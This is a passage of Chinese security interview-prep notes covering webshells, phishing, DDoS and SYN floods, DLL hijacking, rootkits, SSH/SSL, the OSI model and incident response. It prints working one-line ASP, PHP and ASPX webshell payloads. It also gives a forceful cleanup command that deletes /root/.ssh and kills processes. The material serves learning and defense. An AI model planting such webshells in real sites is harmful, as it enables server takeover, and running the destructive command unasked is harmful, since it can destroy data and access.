網絡安全、Web安全、滲透測試之筆經面經總結(三)


 

本篇文章涉及的知識點有如下幾方面:

1.什么是WebShell?

 

2.什么是網絡釣魚?

 

3.你獲取網絡安全知識途徑有哪些?

 

4.什么是CC攻擊?

 

5.Web服務器被入侵后,怎樣進行排查?

 

6.dll文件是什么意思,有什么用?DLL劫持原理

 

7.0day漏洞

 

8.Rootkit是什么意思

 

9.蜜罐

 

10.ssh

 

11.DDOS

 

12.震網病毒:

 

13.一句話木馬

 

14.Https的作用

 

15.手工查找后門木馬的小技巧

 

16.描述OSI(開放系統互聯基本參考模型)七層結構

 

17.TCPUDP的區別

 

18.脫殼

 

19.“人肉搜索

 

20.SYN Flood的基本原理

 

21.什么是手機越獄

 

22.主機被入侵,你會如何處理這件事自查解決方案:

 

23. NAT(網絡地址轉換)協議

 

24.內網穿透

 

25.虛擬專用網絡

 

26.二層交換機

 

27.路由技術

 

28.三層交換機

 

29.IPv6地址表示

 

 

 

 

 

1.什么是WebShell?

WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的─種命令執行環境,也可以將其稱做為─種網頁后門。黑客在入侵了─個網站后,通常會將這些asp或php后門文件與網站服務器WEB目錄下正常的網頁文件混在─起,然后就可以使用瀏覽器來訪問這些asp或者php后門,得到─個命令執行環境,以達到控制網站服務器的目的(可以上傳下載文件,查看數據庫,執行任意程序命令等)。國內常用的WebShell有海陽ASP木馬,Phpspy,c99shell等。

(靜態網頁:最常用的格式文件就是html格式文件,大部分網頁的格式都是html格式,html格式又包含有.htm、dhtml.xhtml.shtm.shtml。這些都是指靜態頁面,里面不含有動態程序。

動態網頁頁面級包括有ASP(基於JavaScript 或VbScript或C#)、JSP、PHP、ASPX、jspx、cgi。這些里面是包含服務器端執行的代碼,也就是服務器在將這些網頁發給客戶端之前,會先執行里面的動態程序語言,並把執行后生成的html發送到客戶端來的,所以我們在客戶端看到的源代碼也是html格式的(因為動態的代碼直接在服務器上執行,而這些服務器代碼是前台是不會顯示出來。)

 

2.什么是網絡釣魚?

網絡釣魚是通過大量發送聲稱來自於銀行或其他知名機構的欺騙性垃圾郵件,意圖引誘收信人給出敏感信息(如用戶名、口令、帳號 ID 、 ATM PIN 碼或信用卡詳細信息)的一種攻擊方式。

最典型的網絡釣魚攻擊將收信人引誘到一個通過精心設計與目標組織的網站非常相似的釣魚網站上,並獲取收信人在此網站上輸入的個人敏感信息,通常這個攻擊過程不會讓受害者警覺。

它常常導引用戶到URL與接口外觀與真正網站幾無二致的假冒網站輸入個人數據。就算使用強式加密的SSL服務器認證,要偵測網站是否仿冒實際上仍很困難。網釣是一種利用社會工程技術來愚弄用戶的實例。它憑恃的是現行網絡安全技術的低親和度。

 

3.你獲取網絡安全知識途徑有哪些?

1.網站,看雪,安全焦點,國內的烏雲,FreeBuf

2.視頻學習:i春秋,51cto,慕課網,實驗樓,實驗吧,網易雲課堂等等

3.微信公眾號、知乎等,企業src等

4.書籍,《白帽子講web安全》《Web應用安全權威指南》等

5.然后就是請教牛人

6.最后是公司內技術分享。

 

4.什么是CC攻擊?

這個也是知道一些,知道他是DDos的變種,正常請求偽造,服務器資源耗盡,最終還是看看百科答案吧:CC攻擊是DDOS(分布式拒絕服務)的一種,相比其它的DDOS攻擊CC似乎更有技術含量一些。這種攻擊你見不到真實源IP,見不到特別大的異常流量,但造成服務器無法進行正常連接。CC攻擊的原理就是攻擊者控制某些主機不停地發大量數據包給對方服務器造成服務器資源耗盡,一直到宕機崩潰。CC主要是用來攻擊頁面的,每個人都有這樣的體驗:當一個網頁訪問的人數特別多的時候,打開網頁就慢了,CC就是模擬多個用戶(多少線程就是多少用戶)不停地進行訪問那些需要大量數據操作(就是需要大量CPU時間)的頁面,造成服務器資源的浪費,CPU長時間處於100%,永遠都有處理不完的連接直至就網絡擁塞,正常的訪問被中止。

 

5.Web服務器被入侵后,怎樣進行排查?

最簡單就是1.查看下web 服務器日主,2.看看有沒有異常端口開放,3.使用安全狗等服務器安全軟件清掃。

 

6.dll文件是什么意思,有什么用?

DLL(Dynamic Link Library)文件,即動態鏈接庫,也有人稱作應用程序拓展。

Windows應用程序中,實行了模塊化設計,也就是說並不是每個應用程序都編寫完所有的功能代碼,而是在運行過程中調用相應功能的DLL,不需運行的功能就不調用,所以大大加快了程序的加載速度和效率,其他應用程序也可以調用相關的DLL,這樣也有利於促進代碼重用以及內存使用效率,減少了資源占用,而且程序更新時也只要更新相關的DLL就可以了。

要注意的是,有些病毒也會偽裝成DLL文件,並替換系統的DLL文件,需要我們防范。

DLL劫持原理

由於輸入表中只包含DLL名而沒有它的路徑名,因此加載程序必須在磁盤上搜索DLL文件。首先會嘗試從當前程序所在的目錄加載DLL,如果沒找到,則在Windows系統目錄中查找,最后是在環境變量中列出的各個目錄下查找。利用這個特點,先偽造一個系統同名的DLL,提供同樣的輸出表,每個輸出函數轉向真正的系統DLL。程序調用系統DLL時會先調用當前目錄下偽造的DLL,完成相關功能后,再跳到系統DLL同名函數里執行。這個過程用個形象的詞來描述就是系統DLL被劫持(hijack)了。

偽造的dll制作好后,放到程序當前目錄下,這樣當原程序調用原函數時就調用了偽造的dll的同名函數,進入劫持DLL的代碼,處理完畢后,再調用原DLL此函數。

如何防止DLL劫持

DLL劫持利用系統未知DLL的搜索路徑方式,使得程序加載當前目錄下的系統同名DLL。所以可以告訴系統DLL的位置,改變加載系統DLL的順序不是當前目錄,而是直接到系統目錄下查找。

 

7.0day漏洞

是已經發現但是官方還沒發布補丁的漏洞。

信息安全意義上的0Day是指在安全補丁發布前而被了解和掌握的漏洞信息。

 

8.Rootkit是什么意思

Rootkit 是一種特殊類型的 malware(惡意軟件)。Rootkit 之所以特殊是因為您不知道它們在做什么事情。Rootkit 基本上是無法檢測到的,而且幾乎不可能刪除它們。雖然檢測工具在不斷增多,但是惡意軟件的開發者也在不斷尋找新的途徑來掩蓋他們的蹤跡。

Rootkit 的目的在於隱藏自己以及其他軟件不被發現。它可以通過阻止用戶識別和刪除攻擊者的軟件來達到這個目的。Rootkit 幾乎可以隱藏任何軟件,包括文件服務器、鍵盤記錄器、Botnet 和 Remailer。許多 Rootkit 甚至可以隱藏大型的文件集合並允許攻擊者在您的計算機上保存許多文件,而您無法看到這些文件。

Rootkit 本身不會像病毒或蠕蟲那樣影響計算機的運行。攻擊者可以找出目標系統上的現有漏洞。漏洞可能包括:開放的網絡端口、未打補丁的系統或者具有脆弱的管理員密碼的系統。在獲得存在漏洞的系統的訪問權限之后,攻擊者便可手動安裝一個 Rootkit。這種類型的偷偷摸摸的攻擊通常不會觸發自動執行的網絡安全控制功能,例如入侵檢測系統。

找出 Rootkit 十分困難。有一些軟件包可以檢測 Rootkit。這些軟件包可划分為以下兩類:基於簽名的檢查程序和基於行為的檢查程序。基於簽名(特征碼)的檢查程序,例如大多數病毒掃描程序,會檢查二進制文件是否為已知的 Rootkit。基於行為的檢查程序試圖通過查找一些代表 Rootkit 主要行為的隱藏元素來找出 Rootkit。一個流行的基於行為的 Rootkit 檢查程序是 Rootkit Revealer.

在發現系統中存在 Rootkit 之后,能夠采取的補救措施也較為有限。由於 Rootkit 可以將自身隱藏起來,所以您可能無法知道它們已經在系統中存在了多長的時間。而且您也不知道 Rootkit 已經對哪些信息造成了損害。對於找出的 Rootkit,最好的應對方法便是擦除並重新安裝系統。雖然這種手段很嚴厲,但是這是得到證明的唯一可以徹底刪除 Rootkit 的方法。

防止 Rootkit 進入您的系統是能夠使用的最佳辦法。為了實現這個目的,可以使用與防范所有攻擊計算機的惡意軟件一樣的深入防衛策略。深度防衛的要素包括:病毒掃描程序、定期更新軟件、在主機和網絡上安裝防火牆,以及強密碼策略

 

9.蜜罐

蜜罐好比是情報收集系統。蜜罐好像是故意讓人攻擊的目標,引誘黑客前來攻擊。所以攻擊者入侵后,你就可以知道他是如何得逞的,隨時了解針對服務器發動的最新的攻擊和漏洞。還可以通過竊聽黑客之間的聯系,收集黑客所用的種種工具,並且掌握他們的社交網絡。

 

10.ssh

SSH 為 Secure Shell 的縮寫,由 IETF 的網絡小組(Network Working Group)所制定;SSH 為建立在應用層基礎上的安全協議。SSH 是目前較可靠,專為遠程登錄會話和其他網絡服務提供安全性的協議。利用 SSH 協議可以有效防止遠程管理過程中的信息泄露問題。SSH最初是UNIX系統上的一個程序,后來又迅速擴展到其他操作平台。SSH在正確使用時可彌補網絡中的漏洞。SSH客戶端適用於多種平台。幾乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可運行SSH。

傳統的網絡服務程序,如:ftp、pop和telnet在本質上都是不安全的,因為它們在網絡上用明文傳送口令和數據,別有用心的人非常容易就可以截獲這些口令和數據。而且,這些服務程序的安全驗證方式也是有其弱點的, 就是很容易受到“中間人”(man-in-the-middle)這種方式的攻擊。所謂“中間人”的攻擊方式, 就是“中間人”冒充真正的服務器接收你傳給服務器的數據,然后再冒充你把數據傳給真正的服務器。服務器和你之間的數據傳送被“中間人”一轉手做了手腳之后,就會出現很嚴重的問題。通過使用SSH,你可以把所有傳輸的數據進行加密,這樣"中間人"這種攻擊方式就不可能實現了,而且也能夠防止DNS欺騙和IP欺騙。使用SSH,還有一個額外的好處就是傳輸的數據是經過壓縮的,所以可以加快傳輸的速度。SSH有很多功能,它既可以代替Telnet,又可以為FTP、PoP、甚至為PPP提供一個安全的"通道"。

英文全稱是Secure Shell。通過使用SSH,你可以把所有傳輸的數據進行加密,這樣"中間人"這種攻擊方式就不可能實現了, 而且也能夠防止DNS和IP欺騙。還有一個 額外的好處就是傳輸的數據是經過壓縮的,所以可以加快傳輸的速度。 SSH有很多功能,它既可以代替telnet,又可以為ftp、pop、甚至ppp提 供一個安全的"通道"。

SSH是由客戶端和服務端的軟件組成的,有兩個不兼容的版本分別是:1.x和2.x。用SSH 2.x的客戶程序是不能連接到SSH 1.x的服務程序上去的。OpenSSH 2.x同時支持SSH 1.x和2.x。SSH的安全驗證是如何工作的從客戶端來看,SSH提供兩種級別的安全驗證。第一種級別(基於口令的安全驗證)只要你知道自己帳號和口令,就可以登錄到遠程主機。所有傳輸的數據都會被加密,但是不能保證你正在連接的服務器就是你想連接的服務器。可能會有別的服務器在冒充真正的服務器,也就是受到“中間人”這種方式的攻擊。第二種級別(基於密匙的安全驗證)需要依靠密匙,也就是你必須為自己創建一對密匙,並把公用密匙放在需要訪問的服務器上。如果你要連接到SSH服務器上,客戶端軟件就會向服務器發出請求,請求用你的密匙進行安全驗證。服務器收到請求之后,先在你在該服務器的家目錄下尋找你的公用密匙,然后把它和你發送過來的公用密匙進行比較。如果兩個密匙一致,服務器就用公用密匙加密“質詢”(challenge)並把它發送給客戶端軟件。客戶端軟件收到“質詢”之后就可以用你的私人密匙解密再把它發送給服務器。用這種方式,你必須知道自己密匙的口令。但是,與第一種級別相比,第二種級別不需要在網絡上傳送口令。第二種級別不僅加密所有傳送的數據,而且“中間人”這種攻擊方式也是不可能的(因為他沒有你的私人密匙)。但是整個登錄的過程可能需要10秒。

SSL(Secure Sockets Layer (SSL) and Transport Layer Security (TLS))被設計為加強Web安全傳輸(HTTP/HTTPS/)的協議(事實上還有SMTP/NNTP等),SSH(Secure Shell)更多的則被設計為加強Telnet/FTP安全的傳輸協議,默認地,它使用22端口.

以SSL為例,基本上SSL在傳輸過程中所處的位置如下:

---------

| HTTP |

---------

| SSL |

---------

| TCP |

---------

| IP |

---------

如果利用SSL協議來訪問網頁,其步驟如下:

用戶:在瀏覽器的地址欄里輸入https://www.sslserver.com

HTTP層:將用戶需求翻譯成HTTP請求,如

GET /index.htm HTTP/1.1

Host http://www.sslserver.com

SSL層: 借助下層協議的的信道安全的協商出一份加密密鑰,並用此密鑰來加密HTTP請求。

TCP層:與web server的443端口建立連接,傳遞SSL處理后的數據。

接收端與此過程相反。

SSL在TCP之上建立了一個加密通道,通過這一層的數據經過了加密,因此達到保密的效果。

SSL協議分為兩部分:Handshake Protocol和Record Protocol,。其中Handshake Protocol用來協商密鑰,協議的大部分內容就是通信雙方如何利用它來安全的協商出一份密鑰。 Record Protocol則定義了傳輸的格式。

 

11.DDOS

http://baike.baidu.com/link?url=hOeNhuaIj6tF9NY1wr2wbe9pIe52PaCJ5KXTisdfPUK4j8beTktmVsRaH5hRjkcpq6FPouzRl2hbsbpEDO5HRAUYi_D1Tsnu_q7in59xRasqHbmi1oYhEyVDVVn9ZcIcqRsZi5axo_HgkXBPioJx_#10

分布式拒絕服務(DDoS:Distributed Denial of Service)攻擊指借助於客戶/服務器技術,將多個計算機聯合起來作為攻擊平台,對一個或多個目標發動DDoS攻擊,從而成倍地提高拒絕服務攻擊的威力。通常,攻擊者使用一個偷竊帳號將DDoS主控程序安裝在一個計算機上,在一個設定的時間主控程序將與大量代理程序通訊,代理程序已經被安裝在網絡上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/服務器技術,主控程序能在幾秒鍾內激活成百上千次代理程序的運行。

 

12.震網病毒:

指一種蠕蟲病毒,是第一個專門定向攻擊真實世界中基礎(能源)設施的“蠕蟲”病毒,比如核電站,水壩,國家電網。只要電腦操作員將被病毒感染的U盤插入USB接口,這種病毒就會在神不知鬼不覺的情況下(不會有任何其他操作要求或者提示出現)取得一些工業用電腦系統的控制權。

與傳統的電腦病毒相比,“震網”病毒不會通過竊取個人隱私信息牟利。無需借助網絡連接進行傳播。這種病毒可以破壞世界各國的化工、發電和電力傳輸企業所使用的核心生產控制電腦軟件,並且代替其對工廠其他電腦“發號施令”。極具毒性和破壞力。“震網”代碼非常精密,主要有兩個功能,一是使伊朗的離心機運行失控,二是掩蓋發生故障的情況,“謊報軍情”,以“正常運轉”記錄回傳給管理部門,造成決策的誤判。

 

13.一句話木馬

asp一句話木馬:

   <%execute(request("value"))%>

php一句話木馬:

   <?php @eval($_POST[value]);?>   

變形:<?php $x=$_GET[‘z’];@eval(“$x;”);?>

aspx一句話木馬:

  <%@ Page Language="Jscript"%>

  <%eval(Request.Item["value"])%>

 

14.Https的作用

內容加密 建立一個信息安全通道,來保證數據傳輸的安全;

身份認證 確認網站的真實性

數據完整性 防止內容被第三方冒充或者篡改

HTTPS和HTTP的區別

https協議需要到CA申請證書。

http是超文本傳輸協議,信息是明文傳輸;https 則是具有安全性的ssl加密傳輸協議。

http和https使用的是完全不同的連接方式,用的端口也不一樣,前者是80,后者是443。

http的連接很簡單,是無狀態的;HTTPS協議是由SSL+HTTP協議構建的可進行加密傳輸、身份認證的網絡協議,比http協議安全。

 

15.手工查找后門木馬的小技巧

1、首先最需要注意的地方是系統的啟動項,可以在“運行”-輸入“msconfig命令”在打開的系統配置實用程序里的啟動列表查看,並且服務也要注意一下,如果對電腦不是太熟悉的童鞋建議使用360安全衛士的開機加速功能,來查看有無異常的可以啟動項和服務項,因為在后門木馬中99%都會注冊自己為系統服務,達到開機自啟動的目的,如果發現可疑項直接打開相應的路徑,找到程序文件,直接刪除並且禁止自啟動;

2、查看系統關鍵目錄system32和系統安裝目錄Windows下的文件,xp系統下兩者默認路徑分別是C:\WINDOWS\system32和C:\WINDOWS\。然后最新修改的文件中有沒有可疑的可執行文件或dll文件,這兩個地方都是木馬最喜歡的藏身的地方了(小提示:一定要設置顯示所有的文件的文件夾哦)。

3、觀察網絡連接是否存在異常,還有“運行”-“cmd”-“netstat -an”查看有沒有可疑或非正常程序的網絡連接,如果對電腦不是很熟悉建議大家使用360的流量監控功能更加直觀和方便,尤其注意一下遠程連接的端口,如果有類似於8000等端口就要注意了,8000是灰鴿子的默認端口,記得有一次自己就在后門木馬測試中在網絡連接中發現8000端口,當然意思不是說只要沒有8000端口的網絡連接就一定安全,因為8000端口只是灰鴿子上線的默認端口,並且端口是可以更改的。

通過以上方法,可以查找到電腦的一些可疑文件,如果確認無疑,就可以手工進行刪除了。當然還可以借助殺毒軟件的力量。如果你真的中了木馬后門,不用慌。最好最徹底的方法是重裝系統后,在安全模式下,利用最新病毒庫的殺軟進行查殺。

 

16.描述OSI(開放系統互聯基本參考模型)七層結構

分層的好處是利用層次結構可以把開放系統的信息交換問題分解到一系列容易控制的軟硬件模塊-層中,而各層可以根據需要獨立進行修改或擴充功能,同時,有利於個不同制造廠家的設備互連,也有利於大家學習、理解數據通訊網絡。

OSI參考模型中不同層完成不同的功能,各層相互配合通過標准的接口進行通信。

第7層應用層:OSI中的最高層。為特定類型的網絡應用提供了訪問OSI環境的手段。應用層確定進程之間通信的性質,以滿足用戶的需要。應用層不僅要提供應用進程所需要的信息交換和遠程操作,而且還要作為應用進程的用戶代理,來完成一些為進行信息交換所必需的功能。它包括:文件傳送訪問和管理FTAM、虛擬終端VT、事務處理TP、遠程數據庫訪問RDA、制造報文規范MMS、目錄服務DS等協議;應用層能與應用程序界面溝通,以達到展示給用戶的目的。 在此常見的協議有:HTTP,HTTPS,FTP,TELNET,SSH,SMTP,POP3等。

第6層表示層:主要用於處理兩個通信系統中交換信息的表示方式。為上層用戶解決用戶信息的語法問題。它包括數據格式交換、數據加密與解密、數據壓縮與終端類型的轉換。

第5層會話層:在兩個節點之間建立端連接。為端系統的應用程序之間提供了對話控制機制。此服務包括建立連接是以全雙工還是以半雙工的方式進行設置,盡管可以在層4中處理雙工方式 ;會話層管理登入和注銷過程。它具體管理兩個用戶和進程之間的對話。如果在某一時刻只允許一個用戶執行一項特定的操作,會話層協議就會管理這些操作,如阻止兩個用戶同時更新數據庫中的同一組數據。

第4層傳輸層:—常規數據遞送-面向連接或無連接。為會話層用戶提供一個端到端的可靠、透明和優化的數據傳輸服務機制。包括全雙工或半雙工、流控制和錯誤恢復服務;傳輸層把消息分成若干個分組,並在接收端對它們進行重組。不同的分組可以通過不同的連接傳送到主機。這樣既能獲得較高的帶寬,又不影響會話層。在建立連接時傳輸層可以請求服務質量,該服務質量指定可接受的誤碼率、延遲量、安全性等參數,還可以實現基於端到端的流量控制功能。

第3層網絡層:本層通過尋址來建立兩個節點之間的連接,為源端的運輸層送來的分組,選擇合適的路由和交換節點,正確無誤地按照地址傳送給目的端的運輸層。它包括通過互連網絡來路由和中繼數據 ;除了選擇路由之外,網絡層還負責建立和維護連接,控制網絡上的擁塞以及在必要的時候生成計費信息。

第2層數據鏈路層:在此層將數據分幀,並處理流控制。屏蔽物理層,為網絡層提供一個數據鏈路的連接,在一條有可能出差錯的物理連接上,進行幾乎無差錯的數據傳輸(差錯控制)。本層指定拓撲結構並提供硬件尋址。常用設備有網卡、網橋、交換機;

第1層物理層:處於OSI參考模型的最底層。物理層的主要功能是利用物理傳輸介質為數據鏈路層提供物理連接,以便透明的傳送比特流。常用設備有(各種物理設備)集線器、中繼器、調制解調器、網線、雙絞線、同軸電纜。

數據發送時,從第七層傳到第一層,接收數據則相反。

上三層總稱應用層,用來控制軟件方面。下四層總稱數據流層,用來管理硬件。除了物理層之外其他層都是用軟件實現的。

數據在發至數據流層的時候將被拆分。

在傳輸層的數據叫段,網絡層叫包,數據鏈路層叫幀,物理層叫比特流,這樣的叫法叫PDU(協議數據單元)[2]

各層功能

 (1)物理層(Physical Layer)

物理層是OSI參考模型的最低層,它利用傳輸介質為數據鏈路層提供物理連接。它主要關心的是通過物理鏈路從一個節點向另一個節點傳送比特流,物理鏈路可能是銅線、衛星、微波或其他的通訊媒介。它關心的問題有:多少伏電壓代表1?多少伏電壓代表0?時鍾速率是多少?采用全雙工還是半雙工傳輸?總的來說物理層關心的是鏈路的機械、電氣、功能和規程特性。

(2)數據鏈路層(Data Link Layer)

數據鏈路層是為網絡層提供服務的,解決兩個相鄰結點之間的通信問題,傳送的協議數據單元稱為數據幀。

數據幀中包含物理地址(又稱MAC地址)、控制碼、數據及校驗碼等信息。該層的主要作用是通過校驗、確認和反饋重發等手段,將不可靠的物理鏈路轉換成對網絡層來說無差錯的數據鏈路。

此外,數據鏈路層還要協調收發雙方的數據傳輸速率,即進行流量控制,以防止接收方因來不及處理發送方來的高速數據而導致緩沖器溢出及線路阻塞。

(3)網絡層(Network Layer)

網絡層是為傳輸層提供服務的,傳送的協議數據單元稱為數據包或分組。該層的主要作用是解決如何使數據包通過各結點傳送的問題,即通過路徑選擇算法(路由)將數據包送到目的地。另外,為避免通信子網中出現過多的數據包而造成網絡阻塞,需要對流入的數據包數量進行控制(擁塞控制)。當數據包要跨越多個通信子網才能到達目的地時,還要解決網際互連的問題。

(4)傳輸層(Transport Layer)

傳輸層的作用是為上層協議提供端到端的可靠和透明的數據傳輸服務,包括處理差錯控制和流量控制等問題。該層向高層屏蔽了下層數據通信的細節,使高層用戶看到的只是在兩個傳輸實體間的一條主機到主機的、可由用戶控制和設定的、可靠的數據通路。

傳輸層傳送的協議數據單元稱為段或報文。

(5)會話層(Session Layer)

會話層主要功能是管理和協調不同主機上各種進程之間的通信(對話),即負責建立、管理和終止應用程序之間的會話。會話層得名的原因是它很類似於兩個實體間的會話概念。例如,一個交互的用戶會話以登錄到計算機開始,以注銷結束。

(6)表示層(Presentation Layer)

表示層處理流經結點的數據編碼的表示方式問題,以保證一個系統應用層發出的信息可被另一系統的應用層讀出。如果必要,該層可提供一種標准表示形式,用於將計算機內部的多種數據表示格式轉換成網絡通信中采用的標准表示形式。數據壓縮和加密也是表示層可提供的轉換功能之一。

(7)應用層(Application Layer)

應用層是OSI參考模型的最高層,是用戶與網絡的接口。該層通過應用程序來完成網絡用戶的應用需求,如文件傳輸、收發電子郵件等。

 

17.TCP和UDP的區別

TCP協議和UDP協議特性區別總結:

1. TCP協議在傳送數據段的時候要給段標號;UDP協議不

2. TCP協議可靠;UDP協議不可靠

3. TCP協議是面向連接;UDP協議采用無連接

4. TCP協議負載較高,采用虛電路;UDP采用無連接

5. TCP協議的發送方要確認接收方是否收到數據段(3次握手協議)

6. TCP協議采用窗口技術和流控制

當數據傳輸的性能必須讓位於數據傳輸的完整性、可控制性和可靠性時,TCP協議是當然的選擇。當強調傳輸性能而不是傳輸的完整性時,如:音頻和多媒體應用,UDP是最好的選擇。在數據傳輸時間很短,以至於此前的連接過程成為整個流量主體的情況下,UDP也是一個好的選擇,如:DNS交換。把SNMP建立在UDP上的部分原因是設計者認為當發生網絡阻塞時,UDP較低的開銷使其有更好的機會去傳送管理數據。TCP豐富的功能有時會導致不可預料的性能低下,但是我們相信在不遠的將來,TCP可靠的點對點連接將會用於絕大多數的網絡應用。

 

18.脫殼

而從技術的角度出發,殼是一段執行於原始程序前的代碼。原始程序的代碼在加殼的過程中可能被壓縮、加密……。當加殼后的文件執行時,殼-這段代碼先於原始程序運行,他把壓縮、加密后的代碼還原成原始程序代碼,然后再把執行權交還給原始代碼。 軟件的殼分為加密殼、壓縮殼、偽裝殼、多層殼等類,目的都是為了隱藏程序真正的OEP(入口點,防止被破解)。

加殼”指的是對編譯好的EXE、DLL等文件采用加殼來進行保護;“脫殼”指的就是將文件外邊的殼去除,恢復文件沒有加殼前的狀態。 殼出於程序作者想對程序資源壓縮、注冊保護的目的,把殼分為壓縮殼、密碼殼、加密殼三種。顧名思義,壓縮殼只是為了減小程序體積對資源進行壓縮,常見的壓縮殼包括FSG、ASPack、UPX、北斗等;加密殼也就是常說的保護殼、猛殼,它對程序輸入表等內容進行加密保護,具有良好的保護效果,常見的加密殼包括ASPROTECT、ACPROTECT、PELock、幻影等;密碼殼平時使用得不多,加密殼的程序只有在正確輸入密碼后才能運行

 

19.“人肉搜索”

是一種類比的稱呼,主要是用來區別傳統搜索引擎。它主要是指通過集中許多網民的力量去搜索信息和資源的一種方式,它包括利用互聯網的機器搜索引擎(如百度等)及利用各網民在日常生活中所能掌握的信息來進行收集信息的一種方式[1]  。

 

20.SYN Flood的基本原理

    SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分布式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,發送大量偽造的TCP連接請求,從而使得被攻擊方資源耗盡(CPU滿負荷或內存不足)的攻擊方式。要明白這種攻擊的基本原理,還是要從TCP連接建立的過程開始說起:

    大家都知道,TCP與UDP不同,它是基於連接的,也就是說:為了在服務端和客戶端之間傳送TCP數據,必須先建立一個虛擬電路,也就是TCP連接,建立TCP連接的標准過程是這樣的:

    首先,請求端(客戶端)發送一個包含SYN標志的TCP報文,SYN即同步(Synchronize),同步報文會指明客戶端使用的端口以及TCP連接的初始序號;

    第二步,服務器在收到客戶端的SYN報文后,將返回一個SYN+ACK的報文,表示客戶端的請求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。

    第三步,客戶端也返回一個確認報文ACK給服務器端,同樣TCP序列號被加一,到此一個TCP連接完成。

    以上的連接過程在TCP協議中被稱為三次握手(Three-way Handshake)。 問題就出在TCP連接的三次握手中,假設一個用戶向服務器發送了SYN報文后突然死機或掉線,那么服務器在發出SYN+ACK應答報文后是無法收到客戶端的ACK報文的(第三次握手無法完成),這種情況下服務器端一般會重試(再次發送SYN+ACK給客戶端)並等待一段時間后丟棄這個未完成的連接,這段時間的長度我們稱為SYN Timeout,一般來說這個時間是分鍾的數量級(大約為30秒-2分鍾);一個用戶出現異常導致服務器的一個線程等待1分鍾並不是什么很大的問題,但如果有一個惡意的攻擊者大量模擬這種情況,服務器端將為了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的保存並遍歷也會消耗非常多的CPU時間和內存,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果服務器的TCP/IP棧不夠強大,最后的結果往往是堆棧溢出崩潰---即使服務器端的系統足夠強大,服務器端也將忙於處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求(畢竟客戶端的正常請求比率非常之小),此時從正常客戶的角度看來,服務器失去響應,這種情況我們稱作:服務器端受到了SYN Flood攻擊(SYN洪水攻擊)。

從防御角度來說,有幾種簡單的解決方法,第一種是縮短SYN Timeout時間,由於SYN Flood攻擊的效果取決於服務器上保持的SYN半連接數,這個值=SYN攻擊的頻度 x SYN Timeout,所以通過縮短從接收到SYN報文到確定這個報文無效並丟棄改連接的時間,例如設置為20秒以下(過低的SYN Timeout設置可能會影響客戶的正常訪問),可以成倍的降低服務器的負荷。

   第二種方法是設置SYN Cookie,就是給每一個請求連接的IP地址分配一個Cookie,如果短時間內連續受到某個IP的重復SYN報文,就認定是受到了攻擊,以后從這個IP地址來的包會被一概丟棄。

可是上述的兩種方法只能對付比較原始的SYN Flood攻擊,縮短SYN Timeout時間僅在對方攻擊頻度不高的情況下生效,SYN Cookie更依賴於對方使用真實的IP地址,如果攻擊者以數萬/秒的速度發送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源地址,以上的方法將毫無用武之地。

 

21.什么是手機”越獄“

所謂iOS系統的越獄就是取得系統最高權限的行為,越獄前后iOS系統本身並不會發生質的改變,只是越獄后可以對iOS系統進行更充分的利用而已。

越獄的好處:

1、越獄之后操作性更強,取得了手機的最高權限,就可以修改手機內容,包括安裝免費的破解軟件、自定義功能、美化等等。

2、越獄后可以繞過AppStore免費下載APP。

越獄的壞處:

1、越獄后失去保修。

2、越獄之后,后台程序運行,桌面主題等都會加大耗電。

3、越獄就是打破iOS系統封閉,所以手機就相對變得不安全了。

 

 

22.主機被入侵,你會如何處理這件事自查解決方案:

1、病毒木馬排查。

1.1、使用netstat查看網絡連接,分析是否有可疑發送行為,如有則停止。 (linux常見木馬,清理命令chattr -i /usr/bin/.sshd; rm -f /usr/bin/.sshd; chattr -i /usr/bin/.swhd; rm -f /usr/bin/.swhd; rm -f -r /usr/bin/bsd-port; cp /usr/bin/dpkgd/ps /bin/ps; cp /usr/bin/dpkgd/netstat /bin/netstat; cp /usr/bin/dpkgd/lsof /usr/sbin/lsof; cp /usr/bin/dpkgd/ss /usr/sbin/ss;rm -r -f /root/.ssh; rm -r -f /usr/bin/bsd-port;find /proc/ -name exe | xargs ls -l | grep -v task |grep deleted| awk '{print $11}' | awk -F/ '{print $NF}' | xargs killall -9;)  

1.2、使用殺毒軟件進行病毒查殺。

2、服務器漏洞排查並修復

2.1、查看服務器賬號是否有異常,如有則停止刪除掉。

2.2、查看服務器是否有異地登錄情況,如有則修改密碼為強密碼(字每+數字+特殊符號)大小寫,10位及以上。

2.3、查看Jenkins、Tomcat、PhpMyadmin、WDCP、Weblogic后台密碼,提高密碼強度(字每+數字+特殊符號)大小寫,10位及以上。

2.4、查看WEB應用是否有漏洞,如struts, ElasticSearch等,如有則請升級。

2.5、查看MySQL、SQLServer、FTP、WEB管理后台等其它有設置密碼的地方,提高密碼強度(字每+數字+特殊符號)大小寫,10位及以上。

2.6、查看Redis無密碼可遠程寫入文件漏洞,檢查/root/.ssh/下黑客創建的SSH登錄密鑰文件,刪除掉,修改Redis為有密碼訪問並使用強密碼,不需要公網訪問最好bind 127.0.0.1本地訪問。

2.7、如果有安裝第三方軟件,請按官網指引進行修復。

3、開啟雲盾服務,並開啟所有雲盾安全防護功能對您的主機進行安全防護,免於再次遭到惡意攻擊。

實施安全防御方案

請您盡快開啟雲盾服務,開啟步驟詳見:http://help.aliyun.com/view/11108300_13730770.html

同時也建議您開啟雲盾應用防火牆功能,開啟步驟詳見:

4、如果問題仍未解決

經過以上處理還不能解決問題,強烈建議您將系統盤和數據盤的數據完全下載備份到本地保存后,重置全盤(登陸www.aliyun.com, 進入我的阿里雲-》管理控制台-》雲服務器ECS控制台-》點擊進行您需要進行初始化的實例,備份完服務器數據后關閉實例,點擊“重置磁盤”,按您的實際情況選擇系統盤和數據盤重置即可)后,重新部署程序應用並對數據進行殺毒后上傳,並重新進行前述的3步處理。

內網網址

    

 

23. NAT(網絡地址轉換)協議

內網的計算機以NAT(網絡地址轉換)協議,通過一個公共的網關訪問Internet。內網的計算機可向Internet上的其他計算機發送連接請求,但Internet上其他的計算機無法向內網的計算機發送連接請求。

